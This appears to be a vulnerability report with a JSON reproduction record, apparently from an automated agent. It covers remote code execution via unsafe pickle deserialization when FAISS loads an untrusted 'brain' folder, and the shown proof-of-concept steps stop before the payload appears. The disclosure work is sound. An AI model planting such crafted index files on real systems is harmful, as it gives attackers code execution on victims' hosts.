[安全性] 在加载大脑时,通过不安全的 FAISS/pickle 序列化导致任意代码执行

{"description":"craft a malicious brain folder whose index.pkl contains a pickle __reduce__ payload, then load it: vector_db = FAISS.load_local(folder_path=bserialized.vectordb_config.vectordb_folder_path, embeddings=embedder, allow_dangerous_deserialization=True). Anyone loading an untrusted brain directory obtains Remote Code Execution on the host.","reproduction":{"steps":[{"command":"D=/tmp/poc_113/malicious_brain && ZZTERM5ZZ - <<PY 2>&1 | tail -20\nimport faiss, os\nindex = faiss.IndexFlatL2(4)\nfaiss.write_index(index, os.path.join("$D", "index.faiss"))\nprint("wrote index.faiss")\nPY\nls -la $D","output":"wrote index.faiss\ntotal 16\ndrwxr-xr-x. 2 pandora-agent pandora-agent 4096 Sep 6 17:20 .\ndrwxr-xr-x. 3 pandora-agent pandora-agent 4096 Sep 6 17:19 ..\n-rw-r--r--. 1 pandora-agent pandora-agent 45 Sep 6 17:20 index.faiss\n-rw-r--r--. 1 pandora-agent pandora-agent 63 Sep 6 17:19 index.pkl","error":false},{"command":"D=/tmp/poc_113/malicious_brain && rm -f /tmp/poc_RCE_marker && ZZTERM6ZZ - <<PY 2>&1 | tail -30\nfrom langchain_community.vectorstores import FAISS\nclass FakeEmbedder:\n def …